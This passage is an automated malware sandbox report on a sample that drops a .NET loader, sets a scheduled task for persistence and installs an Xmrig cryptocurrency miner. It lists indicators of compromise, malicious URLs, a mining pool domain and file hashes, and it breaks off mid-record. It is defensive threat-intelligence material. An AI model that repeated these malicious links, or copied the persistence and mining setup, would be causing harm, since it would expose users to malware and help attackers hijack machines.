02:21:15	Task Scheduler	Run new task: FTrondtloadw path: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe
02:22:28	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.199.108.133	https://api.getjusto.com/redirect?to=https%3A%2F%2Fdt2n51.codesandbox.io/?register=ZGFtYXJ5LnRvcnJlc0BzdGVybGluZ2xleGljb24uY29t	Get hash	malicious	Unknown	Browse
	bMvD.exe	Get hash	malicious	Njrat	Browse
	file.exe	Get hash	malicious	Cinoshi Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader	Browse
	60PTcZyqs7.exe	Get hash	malicious	DarkTortilla, SmokeLoader	Browse
	jHd6mRgVLr.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader	Browse
	https://hassan-gamall.github.io/netflix/	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse
	xxzxczczcz.exe	Get hash	malicious	Xmrig	Browse
	https://github.com/AutoHotkey/AutoHotkey/releases/download/v1.1.35.00/AutoHotkey_1.1.35.00_setup.exe	Get hash	malicious	Unknown	Browse
	https://github.com/AutoHotkey/AutoHotkey/releases/download/v1.1.33.10/AutoHotkey_1.1.33.10_setup.exe	Get hash	malicious	Unknown	Browse
	https://github.com/AutoHotkey/AutoHotkey/releases/download/v1.1.36.01/AutoHotkey_1.1.36.01_setup.exe	Get hash	malicious	Unknown	Browse
	QlpKx.vbs	Get hash	malicious	Njrat	Browse
	Comprovante.ppam	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse
	V1lIaJpTZP.exe	Get hash	malicious	MinerDownloader, Nymaim, RedLine, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	MinerDownloader, Laplas Clipper, RedLine, Xmrig	Browse
	vfdcs.exe	Get hash	malicious	Xmrig	Browse
	Calculator.exe	Get hash	malicious	Discord Token Stealer	Browse
	xxMqIn6lCz5s.exe	Get hash	malicious	Njrat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool-fr.supportxmr.com	file.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	file.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	GoogleUpdate.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	KMSPicoSetup.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	WvWlWr2HC0.exe	Get hash	malicious	LoaderBot, RedLine, SmokeLoader, Vidar, Xmrig, zgRAT	Browse	141.94.96.144
	spread.exe	Get hash	malicious	ETERNALBLUE, Xmrig	Browse	141.94.96.144
	target.ps1	Get hash	malicious	Xmrig	Browse	141.94.96.144
	Activator.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	d.py	Get hash	malicious	PwnRig Miner	Browse	141.94.96.71
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.195
	PYnsVrS3EX.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	PYnsVrS3EX.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	file.exe	Get hash	malicious	RHADAMANTHYS, RedLine, Xmrig	Browse	141.94.96.71
	DHL ORIGINAL DOCUMENTS.exe	Get hash	malicious	RHADAMANTHYS, Xmrig	Browse	141.94.96.71
	DHL Original Documents.exe	Get hash	malicious	RHADAMANTHYS, Xmrig	Browse	141.94.96.144
	file.exe	Get hash	malicious	RHADAMANTHYS, Vidar, Xmrig	Browse	141.94.96.71
	file.exe	Get hash	malicious	PrivateLoader, RHADAMANTHYS, Xmrig	Browse	141.94.96.71
	4K3qxRG6WM.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.71
	SecuriteInfo.com.Trojan.Siggen19.4846.9932.10970.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	SecuriteInfo.com.Win32.PWSX-gen.2031.32670.exe	Get hash	malicious	Eternity Stealer, Eternity Worm, Xmrig	Browse	141.94.96.195

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	https://www.meander-prokino.nl/c/blogs/find_entry?p_1_id=0&noSuchEntryRedirect=https://www.politexpert.net//www.lueftungstechnik-raab.de/web/	Get hash	malicious	Unknown	Browse	116.202.122.186
	https://hwatchtvnow.co	Get hash	malicious	Unknown	Browse	116.202.46.88
	lIkr4SGRWx.exe	Get hash	malicious	Socelars	Browse	148.251.234.93
	QQVK8B8SpJ.exe	Get hash	malicious	SmokeLoader	Browse	144.76.136.153
	arx1Ntosv8.exe	Get hash	malicious	SmokeLoader	Browse	144.76.136.153
	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader	Browse	144.76.136.153
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	136.243.31.86
	https://spanishdonuts.com.au/hsb6n	Get hash	malicious	NetSupport RAT, Phisher	Browse	94.130.187.192
	Info_9_may_3263893.js	Get hash	malicious	NetSupport RAT	Browse	94.130.187.192
	QGn9jZK8kf.elf	Get hash	malicious	Mirai	Browse	5.9.88.57
	https://flatswire.fr/paj2v	Get hash	malicious	NetSupport RAT, Phisher	Browse	94.130.187.192
	https://www.google.com/url?rct=j&sa=t&url=https://yavkus.online/296550-holly-willoughby-and-andrea-mclean-just-wore-matching-high-street-outfits-you-magazine&ct=ga&cd=CAEYACoTNjEzMzgzNzU3NTU4NDczNjY4MzIcODJmMWUyMjYyZWEyMjcxNDpjby51azplbjpHQg&usg=AOvVaw0yADjsZb33GgkW_ktbQIFH	Get hash	malicious	Unknown	Browse	94.130.51.141
	http://LapinskiBrokerage.com	Get hash	malicious	Unknown	Browse	88.198.200.36
	Black.exe	Get hash	malicious	Luca Stealer	Browse	195.201.57.90
	https://api.getjusto.com/redirect?to=https%3A%2F%2Farcadians.pk%2Fnew%2Fauth%2Fsefhfl%2F%2F%2F%2Fa3BhdGhhbkB0YWlob29uY29sb2d5LmNvbQ==	Get hash	malicious	Unknown	Browse	116.202.86.108
	kCH4UePSKc.exe	Get hash	malicious	SmokeLoader	Browse	144.76.136.153
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	49.12.119.193
	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader	Browse	144.76.136.153
	7388_PDF.exe	Get hash	malicious	Remcos, zgRAT	Browse	144.76.136.153
	VMNTNrRlfl.exe	Get hash	malicious	Socelars	Browse	148.251.234.83

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Draft_EUC_43534.vbs	Get hash	malicious	Unknown	Browse	116.203.249.172
	MCC-NEWORDER_73FILE_KEY_323033.vbs	Get hash	malicious	FormBook	Browse	116.203.249.172
	TAX-INVOICE-UAE-UNPAID-NOTIFICATION.vbs	Get hash	malicious	Unknown	Browse	116.203.249.172
	Information_About_Current_Social_Security_Benefits_Your_Statement_Benefit_ID#260_XXX_A0008731.JS.js	Get hash	malicious	AsyncRAT	Browse	116.203.249.172
	ywvVE9lVnz.vbs	Get hash	malicious	AsyncRAT	Browse	116.203.249.172
	Purchase_Order_08052023_pdf.vbs	Get hash	malicious	Unknown	Browse	116.203.249.172
	file.exe	Get hash	malicious	AsyncRAT, DcRat, StormKitty	Browse	116.203.249.172
	file.exe	Get hash	malicious	Icarus	Browse	116.203.249.172
	final.exe	Get hash	malicious	Quasar	Browse	116.203.249.172
	list_of_product_and_requirement.js	Get hash	malicious	Unknown	Browse	116.203.249.172
	Q3761-6182-3841.js	Get hash	malicious	AsyncRAT	Browse	116.203.249.172
	list_of_product_and_requirement.js	Get hash	malicious	Unknown	Browse	116.203.249.172
	Documentao.ppam	Get hash	malicious	RevengeRAT	Browse	116.203.249.172
	file.exe	Get hash	malicious	SystemBC	Browse	116.203.249.172
	Ty1xB0BINN.exe	Get hash	malicious	SystemBC	Browse	116.203.249.172
	Gds2wlkFyy.exe	Get hash	malicious	Njrat	Browse	116.203.249.172
	Site Hunter Pro By X-Splinter.exe	Get hash	malicious	Njrat	Browse	116.203.249.172
	Site_Hunter_Pro_By_X-Splinter.exe	Get hash	malicious	Njrat	Browse	116.203.249.172
	evil.ps1	Get hash	malicious	Unknown	Browse	116.203.249.172
	Setup_WebCompanion.exe	Get hash	malicious	Unknown	Browse	116.203.249.172

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\USOPrivate\UpdateStore\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (2494), with no line terminators
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	5.248193870846085
Encrypted:	false
SSDEEP:	48:cAn/TLtfGgzmQLeUp/B8HcI+SkC9+TVOs:pTLtf9zmQMk2s
MD5:	46B1B4026B80B41D140045C8F39913EE
SHA1:	D68D48601891EBA8DB369F6BDE20003DBD120140
SHA-256:	BCD74FC3A73021D4923D59CDD472BCCE9C8C3317827D5412E84F55D70BC7CCAA
SHA-512:	1321196DEBCBF9C2E13B472B46D5D1DFCC22A09AF6ADC0BDB10420C3F91BA093BF5A7B7C891C47FD98867CDE39B8B94DC6B63BEFBCA95EE66D25351666A913B5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?><updateStore><sessionVariables><permanent><AUOptions dataType="3">1</AUOptions><AllowMUUpdateService dataType="3">0</AllowMUUpdateService><AreUpdatesPausedByPolicy dataType="11">False</AreUpdatesPausedByPolicy><AttentionRequiredReason dataType="19">0</AttentionRequiredReason><CurrentState dataType="19">1</CurrentState><FirstScanAttemptTime dataType="21">132399969272148706</FirstScanAttemptTime><FlightEnabled dataType="3">0</FlightEnabled><LastError dataType="19">0</LastError><LastErrorState dataType="19">0</LastErrorState><LastErrorStateType dataType="11">False</LastErrorStateType><LastMeteredScanTime dataType="21">132399969272304939</LastMeteredScanTime><LastScanAttemptTime dataType="21">132399969272148706</LastScanAttemptTime><LastScanDeferredReason dataType="19">1</LastScanDeferredReason><LastScanDeferredTime dataType="21">133051593686244000</LastScanDeferredTime><LastScanFailureError dataType="3">-2147023838</LastScanFailureError><LastScanFailu

C:\ProgramData\USOPrivate\UpdateStore\updatestoretemp51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (2494), with no line terminators
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	5.248193870846085
Encrypted:	false
SSDEEP:	48:cAn/TLtfGgzmQLeUp/B8HcI+SkC9+TVOs:pTLtf9zmQMk2s
MD5:	46B1B4026B80B41D140045C8F39913EE
SHA1:	D68D48601891EBA8DB369F6BDE20003DBD120140
SHA-256:	BCD74FC3A73021D4923D59CDD472BCCE9C8C3317827D5412E84F55D70BC7CCAA
SHA-512:	1321196DEBCBF9C2E13B472B46D5D1DFCC22A09AF6ADC0BDB10420C3F91BA093BF5A7B7C891C47FD98867CDE39B8B94DC6B63BEFBCA95EE66D25351666A913B5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?><updateStore><sessionVariables><permanent><AUOptions dataType="3">1</AUOptions><AllowMUUpdateService dataType="3">0</AllowMUUpdateService><AreUpdatesPausedByPolicy dataType="11">False</AreUpdatesPausedByPolicy><AttentionRequiredReason dataType="19">0</AttentionRequiredReason><CurrentState dataType="19">1</CurrentState><FirstScanAttemptTime dataType="21">132399969272148706</FirstScanAttemptTime><FlightEnabled dataType="3">0</FlightEnabled><LastError dataType="19">0</LastError><LastErrorState dataType="19">0</LastErrorState><LastErrorStateType dataType="11">False</LastErrorStateType><LastMeteredScanTime dataType="21">132399969272304939</LastMeteredScanTime><LastScanAttemptTime dataType="21">132399969272148706</LastScanAttemptTime><LastScanDeferredReason dataType="19">1</LastScanDeferredReason><LastScanDeferredTime dataType="21">133051593686244000</LastScanDeferredTime><LastScanFailureError dataType="3">-2147023838</LastScanFailureError><LastScanFailu

C:\ProgramData\USOShared\Logs\UpdateSessionOrchestration.001.etl (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.7651115305859384
Encrypted:	false
SSDEEP:	96:xZi8iLZmZNnA4Z6sZ8Z5k907HUEw2ZTZ3ZeA3TZMTiYZGZqyZX:fi8idwNn5j2VlpdlMbQdX
MD5:	F9BF83622A78D7E2993D8720E0859379
SHA1:	945B1416136836277832105C4ED4701F47DEBA8B
SHA-256:	92D733DB9D184470DBBB3A7A63353F41FA418EDA2D0FFC1586FCD39D8457109F
SHA-512:	91F3EBF0867ADEEE8C40EE0EF491608DE8562A0E8DBCB3709AB1AAFF37F4F972B95A842D48FC38B23382EA8DED098B5CBB9D98077EF340898A5541AE83875772
Malicious:	false
Preview:	....................................................................................\|....... ....................B..............Zb..K....(..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................x....... ......... ...........U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.U.S.O.S.h.a.r.e.d.\.L.o.g.s.\.U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n._.T.e.m.p...1...e.t.l.........P.P.....\|....... ...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\USOShared\Logs\UpdateSessionOrchestration_Temp.1.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.7651115305859384
Encrypted:	false
SSDEEP:	96:xZi8iLZmZNnA4Z6sZ8Z5k907HUEw2ZTZ3ZeA3TZMTiYZGZqyZX:fi8idwNn5j2VlpdlMbQdX
MD5:	F9BF83622A78D7E2993D8720E0859379
SHA1:	945B1416136836277832105C4ED4701F47DEBA8B
SHA-256:	92D733DB9D184470DBBB3A7A63353F41FA418EDA2D0FFC1586FCD39D8457109F
SHA-512:	91F3EBF0867ADEEE8C40EE0EF491608DE8562A0E8DBCB3709AB1AAFF37F4F972B95A842D48FC38B23382EA8DED098B5CBB9D98077EF340898A5541AE83875772
Malicious:	false
Preview:	....................................................................................\|....... ....................B..............Zb..K....(..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................x....... ......... ...........U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.U.S.O.S.h.a.r.e.d.\.L.o.g.s.\.U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n._.T.e.m.p...1...e.t.l.........P.P.....\|....... ...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FTrondtloadw.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	942
Entropy (8bit):	5.362079789447131
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7GE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvGHKs
MD5:	AFB0EC809E98A1465F59A919AB1F59AA
SHA1:	87E6BA5566D22A361880975421F185E785FBA32A
SHA-256:	D2A2184176A1E8F2DD0B53EA1384BD3D1A34D1C03390F7E5B4E06300E74A8CE2
SHA-512:	8FABCB292921BF0A18CA2237BDECAD70F884CAC5B1630524E0DB48C93D431F4BA4CA289A4C560915C32708C113567330F64F3A5A38C01AC110BBFD36E7EA506A
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11016431268011076
Encrypted:	false
SSDEEP:	12:26U3iNXm/Ey6q9995Uae3q3qQ10nMCldimE8eawHjctI:268iwl68/LyMCldzE9BHjcK
MD5:	B5F4EB05F999712B332A3AAFF3F0AB38
SHA1:	D084082AEFF8D3AB794369361CE7348BC43FD1C2
SHA-256:	716EA0A61C7945C5234DD112CC56AF2B090D0A4FC3FF4266B7E267AE43E8D1F9
SHA-512:	EB65DA969BAC34C9AEE361A6658F49E94C0E0B772426E85644AD44C7E837C8D15819B50FAB0B0FD7F55A0985CBA77572DA134346947D440922476BCB11E90FA5
Malicious:	false
Preview:	................................................................................ .......iF.......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................x....... .....Z.!. ...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P. ........M......................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11276116723419126
Encrypted:	false
SSDEEP:	12:gG7Xm/Ey6q9995Ub1miM3qQ10nMCldimE8eawHza1miIs:gJl68C1tMLyMCldzE9BHza1tIs
MD5:	4CC5F063D698D68048CFBF1AD3DB1556
SHA1:	9650A3CFC717586D9DCA02C28BB5D1F3342E0BDE
SHA-256:	0F744C713EE362D806DF1F4E9BA201144DF073BFFA11A4871FF4F189DA78FD5E
SHA-512:	44F76CCF8DBC3DD228C0A390121C831EE071E4C299E961A51353E5BED610CDC56728ACB7B57EC7EE8582E579D8E42D3FA59C33B1BC97FAA77D6B749C34000C2F
Malicious:	false
Preview:	................................................................................ ................................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................x....... ......:.. ...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P. ...............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11276037425734152
Encrypted:	false
SSDEEP:	12:gAjXm/Ey6q9995U2uL1mK2P3qQ10nMCldimE8eawHza1mK2VP:gVl68EL1iPLyMCldzE9BHza1Kt
MD5:	C83EA54B7F93B33B161A8E69AB9B42E9
SHA1:	7CDF2FCFDF1D9C3D55F76DE4ECC099B4321E7DDF
SHA-256:	70721F271998D6A5E22954F220B5A91D193A7DEABBEF6A73B9264FB789169A2A
SHA-512:	0B2731ECC5CE0110AE93AD0F2C53B45F0B9FF0720BCE7B144EE50EFFA82699CA0DB409774689909CB5AEDFD49616E19A7754136AF67E1878F010757A45BB2E44
Malicious:	false
Preview:	................................................................................ .......^........................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................x....... ......... ...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P. ...............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	7.1855065346885505
Encrypted:	false
SSDEEP:	6144:QXfTo8nt4JalvjPlI8C/U2dEbfhh7XuOluLr7GQZW:sLzt4JatrlqU2dEbzrr
MD5:	F676ED0F75E61843B7C767569119C32D
SHA1:	C090C815425382F16EF9C3B1B2D123DC786CA0A2
SHA-256:	398213A713019E602CED23C2F76CC41EFAA7B608B403C49757F8612CA1646191
SHA-512:	367C517F52A065CCD921290ADA55B06BB6FD3C03A346B727DFA7907084B75F64E01CA112597235870CB982723AD3FBAA78796AA5B9A1837577E7516FF2E03614
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 46%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.............D.... ...`....@.. .......................@............`.................................H...(............................ ......................................................................P:..H............text....-... ...................... ..`.vmp0....{...`......................`..`.vmp1...\...........................`..`.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe

Download File

Process:	C:\Users\user\Desktop\FTrondtloadws.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	7.1855065346885505
Encrypted:	false
SSDEEP:	6144:QXfTo8nt4JalvjPlI8C/U2dEbfhh7XuOluLr7GQZW:sLzt4JatrlqU2dEbzrr
MD5:	F676ED0F75E61843B7C767569119C32D
SHA1:	C090C815425382F16EF9C3B1B2D123DC786CA0A2
SHA-256:	398213A713019E602CED23C2F76CC41EFAA7B608B403C49757F8612CA1646191
SHA-512:	367C517F52A065CCD921290ADA55B06BB6FD3C03A346B727DFA7907084B75F64E01CA112597235870CB982723AD3FBAA78796AA5B9A1837577E7516FF2E03614
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 46%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.............D.... ...`....@.. .......................@............`.................................H...(............................ ......................................................................P:..H............text....-... ...................... ..`.vmp0....{...`......................`..`.vmp1...\...........................`..`.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\user_707748.exe

Download File

Process:	C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7433216
Entropy (8bit):	7.930905291290181
Encrypted:	false
SSDEEP:	196608:q6MiO9h9xz2nHTcM5IUA/dU3B4bWpN1xIR:qcOrjziHTpSdUybINXI
MD5:	14F04F5932BC851ACF217A147AFB018A
SHA1:	D62BA39F9D2ACBDDDC5E9FE690C5051A9AB4C483
SHA-256:	6A3067C98E097D24DDDE33AD98DF7422D66327127FBDFFF649E1263CDB1BF645
SHA-512:	12B985A090165E54E273DB8743EA8F31290D95A2FE8013B2A3B24CA87B456A9A22CE471A52DD4675655DEDCF7EB94245E8BC235A0C6CEC460B3996C00D6D5918
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\user_707748.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...@+.`..........".......4...A......k.........@.............................p............`.........................................`_..O...(`..@....`...........9...........P..................................a...`...0............`...............................text...t.4......................... ..`.rdata....... 4.....................@..@.data....R+...G.....................@....pdata..\|....`r.....................@..@_RANDOMX.....pt.....................@..`_SHA3_25@.....t.....................@..`_TEXT_CNQ.....t.....................@..`_TEXT_CN......t.....................@..`_RDATA........t.....................@..@.vmp0.....7...t.....................`..h.vmp1...l^q.....`q.................`..h.reloc.......P.......dq.............@..@.rsrc........`.......fq.............@..@........................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11016431268011076
Encrypted:	false
SSDEEP:	12:26U3iNXm/Ey6q9995Uae3q3qQ10nMCldimE8eawHjctI:268iwl68/LyMCldzE9BHjcK
MD5:	B5F4EB05F999712B332A3AAFF3F0AB38
SHA1:	D084082AEFF8D3AB794369361CE7348BC43FD1C2
SHA-256:	716EA0A61C7945C5234DD112CC56AF2B090D0A4FC3FF4266B7E267AE43E8D1F9
SHA-512:	EB65DA969BAC34C9AEE361A6658F49E94C0E0B772426E85644AD44C7E837C8D15819B50FAB0B0FD7F55A0985CBA77572DA134346947D440922476BCB11E90FA5
Malicious:	false
Preview:	................................................................................ .......iF.......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................x....... .....Z.!. ...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P. ........M......................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11276116723419126
Encrypted:	false
SSDEEP:	12:gG7Xm/Ey6q9995Ub1miM3qQ10nMCldimE8eawHza1miIs:gJl68C1tMLyMCldzE9BHza1tIs
MD5:	4CC5F063D698D68048CFBF1AD3DB1556
SHA1:	9650A3CFC717586D9DCA02C28BB5D1F3342E0BDE
SHA-256:	0F744C713EE362D806DF1F4E9BA201144DF073BFFA11A4871FF4F189DA78FD5E
SHA-512:	44F76CCF8DBC3DD228C0A390121C831EE071E4C299E961A51353E5BED610CDC56728ACB7B57EC7EE8582E579D8E42D3FA59C33B1BC97FAA77D6B749C34000C2F
Malicious:	false
Preview:	................................................................................ ................................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................x....... ......:.. ...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P. ...............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11276037425734152
Encrypted:	false
SSDEEP:	12:gAjXm/Ey6q9995U2uL1mK2P3qQ10nMCldimE8eawHza1mK2VP:gVl68EL1iPLyMCldzE9BHza1Kt
MD5:	C83EA54B7F93B33B161A8E69AB9B42E9
SHA1:	7CDF2FCFDF1D9C3D55F76DE4ECC099B4321E7DDF
